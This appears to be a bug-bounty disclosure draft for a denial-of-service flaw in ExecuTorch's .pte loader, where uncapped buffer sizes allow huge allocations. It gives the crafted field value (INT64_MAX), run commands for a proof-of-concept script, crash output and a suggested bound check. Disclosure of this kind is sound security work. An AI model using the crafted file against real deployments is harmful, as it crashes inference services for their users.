# ExecuTorch CWE-789: Uncontrolled Memory Allocation in .pte Format ## Status: FINDING CONFIRMED — READY TO SUBMIT ## Severity: High (P2) — DoS | CVSS 7.5 ## Target - **Repo:** pytorch/executorch - **Platform:** huntr.com - **Format:** `.pte` (FlatBuffers-based PyTorch Edge inference format) ## Vulnerable Files | File | Function | Issue | |---|---|---| | `runtime/executor/method_meta.cpp` | `MethodMeta::memory_planned_buffer_size()` | Reads `non_const_buffer_sizes[index+1]` from FlatBuffer; only checks `>= 0`, no upper-bound cap | | `extension/pybindings/pybindings.cpp` | `PyProgram` constructor | `std::vector(buffer_size)` with uncapped attacker value → `std::bad_alloc` | | `examples/portable/executor_runner/executor_runner.cpp` | buffer allocation loop | `std::make_unique(buffer_size)` with uncapped attacker value → OOM crash | ## Missing Check ```cpp // Present in memory_planned_buffer_size(): ET_CHECK_OR_RETURN_ERROR(size >= 0, InvalidProgram, ...); // rejects negatives // MISSING: constexpr int64_t kMaxPlannedBufferSize = 32LL * 1024 * 1024 * 1024; ET_CHECK_OR_RETURN_ERROR(size <= kMaxPlannedBufferSize, InvalidProgram, ...); ``` ## FlatBuffer Field ``` table ExecutionPlan { ... non_const_buffer_sizes: [int64]; // field index 8 — attacker-controlled } ``` **Index note:** Index 0 of the vector is reserved internally. `memory_planned_buffer_size(j)` reads `non_const_buffer_sizes[j + 1]`. Malicious payload uses 2 elements: `[0, INT64_MAX]`. ## Attack Attacker crafts a `.pte` with: ``` Program.execution_plan[0].non_const_buffer_sizes = [0, 9223372036854775807] ``` Victim loads the file → runtime reads INT64_MAX → allocates INT64_MAX bytes → crash. ## PoC Files | File | Purpose | |---|---| | `poc_executorch_oom.py` | Builds `malicious.pte` and triggers OOM | | `malicious.pte` | 104-byte crafted FlatBuffer (generated by script) | | `poc-evidence.html` | Evidence page with real run output | | `report_final.md` | Submission-ready huntr report | ## Reproduction ```bash # Dependency pip install flatbuffers --break-system-packages # Build malicious.pte and trigger allocation python3 poc_executorch_oom.py ``` Expected output (allocation simulation): ``` [*] Saved malicious.pte (104 bytes) [*] File identifier at offset 4: b'ET12' [+] MemoryError ← confirmed OOM (equivalent to std::bad_alloc in C++ runtime) ``` Binary verification: ``` File size : 104 bytes File ident : b'ET12' INT64_MAX pos : byte 80 value=ffffffffffffff7f ``` ## Full Runtime Crash (requires executorch installed) ```bash # Option A — Python runtime pip install executorch python3 poc_executorch_oom.py # → MemoryError / SystemError (std::bad_alloc wrapped) # Option B — C++ executor_runner ./executor_runner --model_path malicious.pte # → terminate called after throwing an instance of 'std::bad_alloc' ```